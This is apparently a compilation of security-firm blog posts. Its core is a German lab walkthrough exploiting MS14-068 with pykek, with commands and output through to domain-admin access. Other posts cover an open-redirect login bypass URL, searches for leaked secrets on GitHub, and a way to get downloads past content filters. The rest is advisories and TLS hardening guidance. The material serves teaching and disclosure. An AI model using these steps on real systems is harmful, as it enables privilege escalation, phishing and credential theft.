Hacklab Q2 – NoSQL mischief

At our reoccurring Hacklab days, we at Compass get the chance to hack some stuff of our own choice together for a day. For example playing with GSM in an attempt to send fake SMS or eavesdrop on voice data, comparing Encase capabilities to Unix command line forensic tools or cloning door entry badges in an attempt to gain unauthorized access to buildings or elevators.

During the Hacklab I gathered a few colleagues to create “team NoSQL” and toyed around with some of the example applications. Our project was based on a VM with several instances of “state of the art” web technologies, most of them involving a NoSQL database.

As a first task we performed a NoSQL injection on a self-developed PHP frontend with a MongoDB backend, as discussed in Hacking NodeJS and MongoDB. Additionally we wrote a python script which extracts cleartext password from the MongoDB with a binary search algorithm using the same vulnerability.

We also spent some time analyzing and exploiting race conditions in web applications, as for example described in Race Conditions on Facebook  and Hacking Starbucks for unlimited coffee. Using just the Linux command line, it was possible to generate arbitrary amount of money in a mockup Bitcoin website by sending a large amount of HTTP requests in parallel.

The slides of our presentation and the MongoDB bruteforcer script can be downloaded here:

Vom Domäne Benutzer zum Domäne Administrator (exploit MS14-068)

Der von Microsoft publizierte “out-of-band” Patch MS14-068 [1] (Vulnerability in Kerberos Could Allow Elevation of Privilege – 3011780) behebt eine Schwachstelle in Kerberos, welche es einem normalen Benutzer erlaubt, administrative Privilegien in der Windows Domäne zu erlangen. Die ersten öffentlichen Artikel [2] mutmassten, dass die Kerberos Services den CRC32 Algorithmus als gütlige Signatur auf Tickets akzeptieren. Per letzten Freitag wurde dann ein Tool namens Pykek [3] (Python Kerberos Exploitation Kit) publiziert, mit welchem die Schwachstelle in ein paar wenigen Schritten ausgenutzt werden kann.

Im Hacking-Lab [4] können Abonnenten und Lizenznehmer diese Schwachstelle risikofrei, in einer geschützten Umgebung, selbst testen. Folgende Schritte erklären das Vorgehen:

  1. Download und entpacken von pykek (Python Kerberos Exploitation Kit) von https://github.com/bidord/pykek
  2. Installieren des Pakets krb-user
    root@lcd806:~# apt-get install krb5-user
  3. Konfiguration des Domänenamen (in Grossbuchstaben): COMPA.NY sowie Authentication Service (AS) und Ticket Granting Service (TGS):
  4. Konfiguration des DNS /etc/resolve.conf welcher üblicherweise auf das Active Directory (AD): zeigt
  5. Starten von kinit
    root@lcd806:~# kinit hacker10@COMPA.NY
    Password for hacker10@COMPA.NY:
    kinit: Clock skew too great while getting initial credentials

    Hint: Das Kommando kann fehlschlagen, wenn die Serverzeit zuviel von der Zeit auf dem Angreifersystem abweicht. Es muss dann die Systemzeit des Angreifer wie in Schritt 6 und 7 gezeigt, nachgeführt werden.

  6. Optional: AD Systemzeit ermitteln, falls die Abweichung zu gross ist
    root@lcd806:~# nmap –sC
    | smb-os-discovery:
    |   OS: Windows Server 2003 3790 Service Pack 1 (Windows Server 2003 5.2)
    |   OS CPE: cpe:/o:microsoft:windows_server_2003::sp1
    |   Computer name: csl-ad
    |   NetBIOS computer name: CSL-AD
    |   Domain name: compa.ny
    |_  System time: 2014-12-07T15:07:11+01:00
    root@lcd806:~# date
    Sun Dec  7 15:17:47 CET 2014
  7. Optional: Nachführen der Systemzeit auf dem Angreifersystem, falls notwendig und nochmals den Schritt 5 durchführen.
  8. Prüfen der Kommunikation mit dem Domain Controller resp. Active Directory. Für //CSL-AD.COMPA.NY/c$ sollte ein “Access Denied” resultieren. Für //CSL-AD.COMPA.NY/netlogon ein “Success”.
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/c$
    OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    tree connect failed: NT_STATUS_ACCESS_DENIED
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/netlogon
    Enter hacker10's password:
    Domain=[COMPA] OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    smb: \> ls
    .                                   D        0  Wed Feb 18 14:22:57 2009
  9. Start rpcclient und eine Verbindung zum AD herstellen
    root@lcd806:~# rpcclient -k CSL-AD.COMPA.NY
  10. Die SID eines normalen User auslesen. Bspw. hacker10
    rpcclient $> lookupnames hacker10
    hacker10 S-1-5-21-3953427895-231737128-487567029-1107 (User: 1)
  11. Mit Hilfe der SID und pykek wird nun ein Ticket mit administrativen Privilegien generiert
    root@lcd806:~# python ms14-068.py -u hacker10@COMPA.NY -s S-1-5-21-3953427895-231737128-487567029-1107 -d CSL-AD.COMPA.NY
    [+] Building AS-REQ for CSL-AD.COMPA.NY... Done!
    [+] Sending AS-REQ to CSL-AD.COMPA.NY... Done!
    [+] Receiving AS-REP from CSL-AD.COMPA.NY... Done!
    [+] Parsing AS-REP from CSL-AD.COMPA.NY... Done!
    [+] Building TGS-REQ for CSL-AD.COMPA.NY... Done!
    [+] Sending TGS-REQ to CSL-AD.COMPA.NY... Done!
    [+] Receiving TGS-REP from CSL-AD.COMPA.NY... Done!
    [+] Parsing TGS-REP from CSL-AD.COMPA.NY... Done!
    [+] Creating ccache file 'TGT_hacker10@COMPA.NY.ccache'... Done!
  12. Nun muss auf dem Angreifersystem noch das eben erstellt Kerberosticket gesetzt werden
    root@lcd806:~# mv TGT_hacker10\@COMPA.NY.ccache /tmp/krb5cc_0
  13. Das wars. Wir sind Domäne Administrator
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/c$
    OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    smb: \> ls
    AUTOEXEC.BAT                        A        0  Tue May  3 00:44:46 2005
    boot.ini                         AHSR      208  Tue May  3 21:30:40 2005
    CONFIG.SYS                          A        0  Tue May  3 00:44:46 2005
    Documents and Settings              D        0  Fri May 29 14:03:55 2009
    IO.SYS                           AHSR        0  Tue May  3 00:44:46 2005
    MSDOS.SYS                        AHSR        0  Tue May  3 00:44:46 2005
    NTDETECT.COM                     AHSR    47772  Tue May  3 21:21:58 2005
    ntldr                            AHSR   295536  Tue May  3 21:21:58 2005
    pagefile.sys                      AHS 402653184  Sat Sep 17 16:50:27 2011
    Program Files                      DR        0  Thu May  5 12:18:47 2011
    RECYCLER                          DHS        0  Tue May  3 22:24:29 2005
    System Volume Information         DHS        0  Tue May  3 21:34:10 2005
    test.txt                            A       10  Thu Sep 30 14:37:49 2010
    WINDOWS                             D        0  Thu May  5 14:34:45 2011
    wmpub                               D        0  Tue May  3 00:45:57 2005
    65535 blocks of size 131072. 32678 blocks available


Bekannte Issues

  • Es ist wichtig, dass die Zeit auf den Systemen synchron ist.
  • Gemäss öffentlichen Statements funktioniert pykek bis und mit Domain Controllers (DCs) mit Windows 2008 R2. Dies weil die Ausnutzung für DCs mit Windows 2012 und später “leicht komplizierter” [5,6] ist.


Installation des “out-of-band” Patch MS14-068


Alexandre Herzog für das Tracken der MS Issues und dieses Tutorial.


[1] http://blogs.technet.com/b/msrc/archive/2014/11/19/security-bulletin-ms14-068-released.aspx
[2] http://blog.beyondtrust.com/a-quick-look-at-ms14-068
[3] https://github.com/bidord/pykek
[4] https://www.hacking-lab.com
[5] https://twitter.com/gentilkiwi/status/540953650701828096
[6] http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx

Presentation at BSidesVienna

On the last Saturday the 22nd of November, I attended BSidesVienna 2014 to deliver a talk about BurpSentinel. This tool is a Burp Suite extension giving better control over semi-automated requests sent to a given web application page. The presentation also covered aspects on automated Cross-Site Scripting and SQL injection detection. Despite talking early in the day (10 am), the room was pretty crowded a few minutes into the presentation, and the attendees quite interested.


The location of BSidesVienna, an old cinema, was awesome and located right in the middle of Vienna, close to the Art district. Noteworthy is that all drinks, food and t-shirts were completely free, which is impressive for a free event! Other presentations covered e.g. the (in)security of fitness trackers, Android malware analysis or the comparison between the Manhattan project and the Snowden revelations. The slides will be available on the website soon.

Finally, I want to thank the organizers for the cool event, and Compass Security AG to sponsor the trip to Vienna.

Slides of the presentation:

Keep your secrets really secret

Nowadays, we all relentlessly use search engines and developers extensively use version and source code control systems to keep track of their source code. Services such as Google or GitHub are great to search and retrieve information they gathered and stored. But when it comes to public indexing services, one big problem raises up: your whole repository, your code and your configuration files are by default also uploaded – in sight to everyone. Therefore, sensitive data such as license keys, passwords or cryptographic key material becomes available with simple web searches.

Different sensitive information was leaked due to improper use of such version controls or improper handling of sensitive configuration files in the past. A recent story published in October 2014 by “Krebs on Security” demonstrates that very well.

So while I was recently reading a PowerShell blog post on “Hey Scripting Guy” about the .publishsettings file for Microsoft Azure access, I immediately thought of a nice GitHub search to find all these files. As with other sensitive files (e.g. private key files), people doesn’t care much about the confidentially of such files.

This .publishsettings file includes a certificate and sometimes also clear text FTP credentials for accessing Microsoft Azure repositories. Within a Microsoft Azure article, Microsoft highlighted the importance of removing this file:

We recommend that you delete the publishing profile that you downloaded using Get-AzurePublishSettingsFile after you import those settings.
Because the management certificate includes security credentials, it should not be accessed by unauthorized users.

The article “Download and Import Publish Settings and Subscription Information for Azure” describes the file structure:

<?xml version="1.0" encoding="utf-8"?>

Searching for this configuration file within Google or GitHub returns multiple entries:


Google search for the site GitHub and the file .publishsettings:


Google search for the site GitHub and the file .publishsettings:


Other interesting GitHub searches…

Private keys
Search for private keys within GitHub:


PHP wrapper
Search for PHP wrapper within GitHub:


With this search for PHP wrappers we would find something like:

$user = "doXXXon";
$password = "pfXXXXOS";
$connection = ssh2_connect([CUTBYCOMPASS], 22);

ASP.NET machine keys
Search for machine keys within ASP.NET application configuration files.


<!--?xml version="1.0" encoding="utf-8"?-->
 <machineKey decryptionKey="Decryption key goes here,IsolateApps" 
             validationKey="Validation key goes here,IsolateApps" />



Never include your configuration files and other sensitive information within a public repository like GitHub and keep in mind that any public information will eventually get indexed by search engines. As a developer, refrain from pushing unknown files, as they might have unexpected sensitive content and as system administrator, keep an eye on the directory and file permissions of your web servers to not accidentally expose sensitive files. Exhaustive lists of other Google searches (also called “Google Dorks) can be found in this infosec institute post or in the dedicated part for dorks on exploit-db.com.

Feel free to comment below to share your preferred other search queries!

Thanks to Philipp Promeuschel, Ivan Bütler and Alexandre Herzog for some additional queries.


Security Advisories for SAP BusinessObjects Explorer and neuroML

Compass Security employees identify and report on a regular basis security vulnerabilities as part of their daily assessments (or just out curiosity).

Stefan Horlacher identified and reported back in June 2013 several flaws in SAP BusinessObjects Explorer. We’re happy to publish today the details as the flaws have been patched and a reasonable grace period given for their deployment:

Note that both the port scan as well as the XML External Entity (XXE) attack can be conducted anonymously without prior insider knowledge.

Philipp Promeuschel on his part identified multiple vulnerabilities in neuroML version 1.8.1 in May this year. The related advisory covers a wide range of vulnerabilities allowing a full compromise of the application:

Disabling Viewstate’s MAC: why you deserve having now a broken ASP.NET web application

Lots of things happened since my first (and unique) blog post about ASP.NET Viewstate and its related weakness. This blog post will not yet disclose all the details or contain tools to exploit applications, but give some ideas why it’s really mandatory to both correct your web applications and install the ASP.NET patch.

Back in September 2012 I reported an issue in the ASP.NET framework which could be used to potentially execute remote code in a typical SharePoint installation. Microsoft patched its flagship products SharePoint and Outlook Web Access. They also released guidance in security advisory 2905247 which contained an optional patch to download, removing the ASP.NET framework’s ability to alter setting “EnableViewStateMac”. It was also made clear that Microsoft will forbid this setting in upcoming ASP.NET versions. ASP.NET version 4.5.2, released in May 2014, was the first version of ASP.NET to have this setting disabled. Microsoft released as part of this month’s Patch Tuesday a patch to remove support for setting EnableViewStateMac for all ASP.NET versions.

While this patch may break ASP.NET applications, remember that without this patch you’re vulnerable to a much bigger threat. Fixing the web application is in the very vast majority of the cases easy from a technical perspective (e.g. set up dedicated machine keys within a given web farm). But as pointed out in the ASP.NET article, the management and distribution of these machine keys must follow a strict process to avoid being disclosed to unwanted parties. Think of machine keys being an essential element of your application. If these keys have ever been disclosed, you have to change them immediately. Ensure software purchased or downloaded from the Internet does not contain pre-defined keys in the application’s web.config.

If you want to know more but missed my Area41 talk about this flaw, come over to the AppSec Forum Western Switzerland on November 4th to 6th in Yverdon-les-Bains . I will be presenting an updated version of my “Why .NET needs MACs and other serial(-ization) tales” talk about the underlying flaws, their history and how to exploit them.

Advisories regarding Leed and Secure Entry Server (SES)

Today I’m happy to release the following security advisories:

I would take the opportunity to thanks Valentin CARRUESCO aka Idleman for the timely patches he implemented within Leed.

Of further interest is the vulnerability which affected the SES as it was due to a common mistake made when validating URLs. Let’s illustrate the issue with another occurrence of the same flaw, which affected LinkedIn and was reported back in November 2012.

Back then, attempts to visit a page reserved to LinkedIn members only triggered a redirect to the following login page:


Variable session_redirect was used to keep track of the initially desired page. Once successfully logged in, the web application would redirect us straight to this page using the following AJAX response:


Attempts to misuse this mechanism and inject a full URL in parameter session_redirect (e.g. session_redirect=https:%2F%2Fwww.csnc.ch) would fail, presumably because the developers ensured that the first character of value session_redirect had to be a slash (or its URL-encoded hex value %2F).

But what about partial URL //www.csnc.ch? Based on the aforementioned logic, such an URL would be considered as safe by the code, as it starts with a slash. But modern browsers don’t interpret a redirection to //www.csnc.ch as being http(s)://[victim]//www.csnc.ch, but in fact as a redirection to http(s)://www.csnc.ch. This behaviour is RFC conform and commonly used over the Internet to embed resources regardless of the URL scheme (http if the initial page was called over http, https if called over https).

Was it possible to abuse LinkedIn and the SES with such a trick? Yes, here’s an illustration of it:

Attempt to login on LinkedIn using forged URL (note the double slash – %2F%2F) https://www.linkedin.com/uas/login?session_redirect=%2F%2Ftest%2Fphishing.html

2013-12-04 12_52_00-Clipboard

Pressing button “Sign In” would submit the entered credentials. An extract of the AJAX response is shown below:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
[removed various Set-Cookies directives]
X-LI-UUID: B[base64_stuff]nsg==
[removed various Set-Cookies directives]
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Vary: Accept-Encoding
Content-Type: application/json;charset=UTF-8
Content-Language: en-US
Date: Sat, 10 Nov 2012 11:45:45 GMT
Age: 1
Connection: keep-alive
Content-Length: 52


The browser would then interpret this redirection as being meant for [scheme]://test/phishing.html and perform the according request as seen below:

GET /phishing.html HTTP/1.1
Host: test
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: https://www.linkedin.com/uas/login?session_redirect=%2F%2Ftest%2Fphishing.html

2013-12-17 11_58_10-Clipboard

The issue was reported to LinkedIn in November 2012 and fixed without further acknowledgement.

As a conclusion, do not assume that a partial URL value starting with a slash will always represent a path on your website. It may as well be a valid URL representation pointing to another domain. Furthermore, always perform redirections using a full qualified domain name and don’t just rely on a partial URL representation.

Compass SSL/TLS recommendations

Mozilla created an extensive page [7] concerning the best current choice of SSL/TLS cipher suites, primarily for web servers. Compass Security agrees broadly with the article, but recommends some additional restrictions in order to provide the most resistance against active and passive attacks versus TLS secured connections:

  • Use 3DES cipher instead of RC4
  • Disable SSLv3 support

Compass Security recommends against using RC4, and favors 3DES for a transitional period. 3DES only provides 112 bit keys (and may therefore be more prone to brute force attacks on the key), but is otherwise regarded as not (yet) broken. RC4, on the other hand, is considered not secure anymore:

  • A “nearly practical” attack exists, as the first bytes of the stream cipher are biased (not perfectly random)[4]
  • Microsoft recommends to disable it, and warns developers to not use it anymore [1]
  • The NSA is suspected to be able to decrypt it in real-time [2][3]
  • RC4 was primarily used to thwart BEAST and Lucky13 attacks. But BEAST is fixed on current browsers. Exploiting Lucky13 is currently not practically feasible [6]

For additional security, it is possible to remove SSLv3 support altogether, as it contains several weaknesses:

  • Weaker key derivation process than TLS
  • Cannot be validated under FIPS 140-2
  • There have been various attacks on SSLv3 implementations
  • Vulnerable to certain protocol downgrade attacks

TLSv1.0, which was released in 1999, contains several additional security features in comparison to SSLv3. For example, it uses both SHA-1 and MD5 at the same time, making it less vulnerable if one of these hash functions becomes insecure.

All browsers, except IE6 on Windows XP (in its default configuration) support at least TLSv1.0. The default IE8 browser on an up-to-date Windows XP, happily connects to TLS-only web servers. Nevertheless, other software may not be compatible with such an restricted configuration yet.

Furthermore it is recommended to turn off TLS compression. This will fix the CRIME attack on TLS connections, even if vulnerable OpenSSL implementation on the server is being used, while an obsolete browsers which do not have this issue fixed is connected. If the server uses current OpenSSL library, and/or the client has the CRIME fix implemented, this attack is not feasiable anyway. Turning off TLS compression will not mitigate the BREACH attack, as it uses the compression feature of HTTP, not TLS. See [12] for further information about this issue.

This concludes the discussion about most of the currently known SSL/TLS attacks, and their mitigation.

Update April 2015: Web Server configuration generator

An up to date and detailed Apache SSL/TLS configuration generator can be found here: Mozilla SSL Configuration Generator. Mozilla changed their opinion on RC4, and also switched to 3DES for backwards compatibility.

Apache Configuration

The following chapter provides an Apache configuration example, which incorporates the discussion above. It is based on  https://wiki.mozilla.org/Security/Server_Side_TLS

The implemented cipher prioritization logic is as follows:

  1. Most secure TLS 1.2 ciphers first: AES-GCM
  2. AES with PFS: ECDHE (Elliptic Curves)
  3. AES with PFS: DHE (Traditional RSA)
  4. AES128
  5. AES256
  6. 3DES

The cipher prioritization list:


Virtual host SSL configuration:

<VirtualHost *:443>
    SSLProtocol             All -SSLv2 –SSLv3
    SSLCipherSuite          <recommended ciphersuite from above>
    SSLHonorCipherOrder     on
    SSLCompression          off # default off, except in 2.4.3 and 2.2.24 to 2.2.25
    SSLInsecureRenegotiation off # default

This TLS- and AES/3DES-only configuration was successfully tested with current versions of IE8, Chrome and Firefox on Windows XP.

Windows IIS

Example configuration settings for Windows. This should act as a basic configuration skeleton. Before deployment, the configuration needs to be actively tested in an production environment. The cipher list has been extracted on a Windows 7, but is identical to that of a Windows 2012 Server.

Disabling SSLv2 and SSLv3:

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel\Protocols\SSL 2.0\Server] 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel\Protocols\SSL 3.0\Server] 

Cipher list:

  10. RSA AES
  11. RSA 3DES

Configure Schannel according to the recommendations above and these pages:

Update February 2015: TLS1.0 discussion

With the discovery of the POODLE attack, it is now widely recommended to disable SSLv3 support. But it is important to realize that neither TLS 1.0 or TLS 1.1 are considered secure. Especially TLS1.0 contains only small improvements over SSLv3.

Luckily, TLS 1.1 does not have any publicly known protocol problems. Nevertheless, TLS 1.2 implements stronger and more trustworthy algorithms. For example TLS 1.1 uses SHA1/MD5 in the pseudorandom function, both of them are considered broken. TLS 1.2 uses SHA2. It also supports the new GCM ciphers, which are more resistant against certain attacks than CBC ciphers.

Sadly, the support for TLS1.1 for Internet Explorer in its default configuration is only available for IE11 on Windows 7 and higher. Schannel supports TLS1.1 from Windows 7 onwards, which includes IE7/8/9, but is not active “out of the box”. Therefore it is not possible for Compass to recommend TLS1.1/1.2-only public facing websites, even if security considerations dictate so. Nevertheless for web interfaces where the supported user-base is known, it should be evaluated to disable TLS1.0, and even TLS1.1. For example a public facing firewall configuration web interface, where all users of it are known to have Chrome installed.

Further Recommendations

This renewal in favor of more secure SSL ciphers can be a good opportunity to kick-off further clarifications and investigations about SSL related topics in your company, e.g.:

  • Is all your web infrastructure (proxies, WAFs, web servers, …) ready to support TLSv1.1 and TLSv1.2?
  • Are the clients you manage use an adequate configuration for setting up SSL communication (e.g. Prioritizing Schannel Cipher Suites for Windows clients)
  • Does your SSL certificate use at least a 2048 bit private key?
  • Do your CA SSL certificates use at least 4096 bit private keys?
  • Does your internal PKI enforce best practices and is moving to SHA2 and ECC? [10][11]
  • Are you using the most current version of the webserver?
  • Are you using the most current version of OpenSSL?


  1. Microsoft recommends disabling RC4
  2. Article about suspicious that NSA is able to decrypt RC4
  3. Article about suspicious that NSA is able to decrypt RC4, german
  4. Bruce Schneier about attack on RC4 from spring 2013
  5. Discussion “RC4 is kind of broken in TLS”
  6. Qualys Discussion about retiring RC4
  7. Mozilla Article about SSL ciphers
  8. Qualys SSL Test
  9. Web Browser Support Matrix
  10. MS SHA1 deprecation policy
  11. Windows Root Certificate Program – Technical Requirements version 2.0
  12. Nginx SSL Module
  13. Qualys – Defending against the BREACH Attack

Thanks to Alexandre Herzog for research, review and discussions concerning this matter.

Bypass File Download Restrictions in Content Filters

Companies battle with users who download files from the Internet at work and then execute them. Unsuspicious files are often infected with malware. A common procedure to decrease the amount of infections is to block common bad file types (for example .exe, .scr or .zip), before the files can enter the internal network. The preconditions are that users are only able to communicate with the Internet through a HTTP proxy and the internal email server. A whitelist on the email- and web-content filter, which only allows .docx to go through, can greatly decrease the amount of malware infections. Attackers will have to use exploits (e.g. in the browser, a plugin or office exploits) to perform code execution on the clients.

Sadly, in the case of web content filters, they can all be circumvented. They usually work by looking for HTTP responses whose content types are not safe, for example “application/octet-stream”. Here an example of a typical file download:


With HTML5, it is possible to create the file to download on-the-fly with JavaScript (by storing the binary as base64 encoded string). As no download request is generated when the download link is clicked, the content-filter can’t deny the download request. It is also possible to misuse Flash for the same purpose.


cf-1The initial request to retrive the page goes to a plain html file:


The response is plain HTML (content type text/html) with javascript:


The JavaScript code will extract the base64 encoded binary as a blob and provide a normal download dialog for the user.

There is no simple solution for this problem. Content filters may be able to catch certain pages which use this functionality, but this would break other pages like Google Docs.
The issue was identified at a discussion at the Compass Offsite Meeting 2013 in Berlin. The Proof-of-Concept code (as seen above) has been implemented first by Cyrill Bannwart and works for current versions of Chrome, Firefox and IE10.

Microsoft Security Bulletin MS13-067 – Critical

As part of today’s monthly patch day, Microsoft fixed an issue I reported in September 2012 around (ASP).NET and SharePoint.

The vulnerability opens a new type of attack surface on ASP.NET if a given precondition regarding the Viewstate field is met. The impact is at least a breach of data integrity on the server side resulting typically in a denial of service. Leveraging the flaw to achieve remote code execution cannot be excluded though. The default configuration settings of ASP.NET are safe and do not allow an exploitation of the flaw.

But before uncovering more technical details about the issue, we want to ensure everyone had enough time to patch their servers adequately. For this reason, we will withhold further details during a grace period agreed with Microsoft’s Security Response Center to ensure all involved parties have enough time to react. In the meantime, we encourage you to patch the relevant servers and ensure your web applications at least enforce the default protection of the Viewstate field.